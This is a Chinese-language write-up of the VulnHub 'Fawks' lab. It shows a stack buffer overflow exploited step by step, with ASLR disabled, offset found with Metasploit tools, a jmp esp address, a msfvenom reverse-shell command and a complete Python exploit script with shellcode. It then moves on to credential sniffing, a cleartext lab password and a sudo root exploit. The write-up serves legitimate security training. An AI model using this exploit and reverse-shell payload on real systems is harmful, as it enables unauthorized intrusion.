vulnhub - Fawks - writeup

发布时间 2023-10-07 14:12:43作者: lockly

信息收集

目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。

image-20230101205126009

80端口的是一张图片,就是哈利波特的海报图。

image-20230102174500238

anonymous空密码登上去有一个文件下载下来是二进制的文件

image-20230101210039662

上kali里面运行看看。

image-20230101211302920

可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。这里能够提交数据,可能存在缓冲区溢出漏洞。

ps -aux | grep server
ss -pantu | grep server

image-20230101211327610

但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以要关闭。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

然后终端打开edb(下载 : apt-get install edb-debugger)进入界面后按shift + F3 ,输入前面运行的那个程序的pid,接着左上角run一下,回到9898那里输入500个字符来测试。

python -c "print('A'*500)"

在edb这里调试器报错了,提示的0x414141意思就是 A。

image-20230101215305237

可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

image-20230101215443756

确定溢出位置

使用msf的生成500字符,重启edb以及服务输入上述500字符,报错内容如下。

msf-pattern_create -l 500

image-20230101215912915

使用msf-pattern_offset来找偏移量。

msf-pattern_offset -l 500 -q 64413764

image-20230101220010618

验证EIP和ESP位置

生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是HiHiHi,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码。

python -c "print('A'*112+'BBBB'+'Hi')"

image-20230101220728051

可以构造脚本反弹shell了。

image-20230101224436269

寻找可执行权限的。

image-20230101224541068

找到jmp esp的位置。

image-20230101224624470

在机器指令中,需要反向写。

08049d55
\x55\x9d\x04\x08

使用msfvenom生成python的十六进制payload,文件内容写的是32位,-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行,其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.11 LPORT=9999 -b "\x00" -f python

最终的payload:

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xbd\xdf\x3f\x56\xe9\xda\xdf\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\xb7\x31\xb4"
buf += b"\x1c\x76\x95\xcf\x3c\x2b\x6a\x63\xa9\xc9\xe5\x62\x9d"
buf += b"\xab\x38\xe4\x4d\x6a\x73\xda\xbc\x0c\x3a\x5c\xc6\x64"
buf += b"\x7d\x36\x15\x7f\x15\x45\x66\x58\xea\xc0\x87\x16\x92"
buf += b"\x82\x16\x05\xe8\x20\x10\x48\xc3\xa7\x70\xe2\xb2\x88"
buf += b"\x07\x9a\x22\xf8\xc8\x38\xda\x8f\xf4\xee\x4f\x19\x1b"
buf += b"\xbe\x7b\xd4\x5c"


payload='A'*112+'\x55\x9d\04\x08'+'\x90'*40+buf
try:
    s=socket.socket()
    s.connect(('192.168.45.10',9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

拿下shell, 试了下用/bin/sh -i 升级shell.在当前文件夹下面就有个密码文件。

image-20230102222346683

22端口登录不上,试了之前扫到的2222可以,登陆之后查看组发现在容器里面。

cat /proc/1/cgroup

image-20230102171150786

翻找了一下找到一个flag和一个提示。

image-20230102171656449

按照他的提示就是看21端口的流量,在这里得到了账密neville bL!Bsg3k

tcpdump -i eth0 port 21

image-20230102171824057

登上ftp又得到一个flag。

image-20230102172035693

试了一下ssh也能登录而且是宿主机。

image-20230102172228669

拉下来之后修改一下里面sudo的位置。

image-20230102173646413

将exp传到靶机上面,执行之后就可以拿到root权限,最后一个flag一般都在根目录底下能找到。

scp root@192.168.45.11:/root/exp2.py /home/neville/exp.py

image-20230102174339220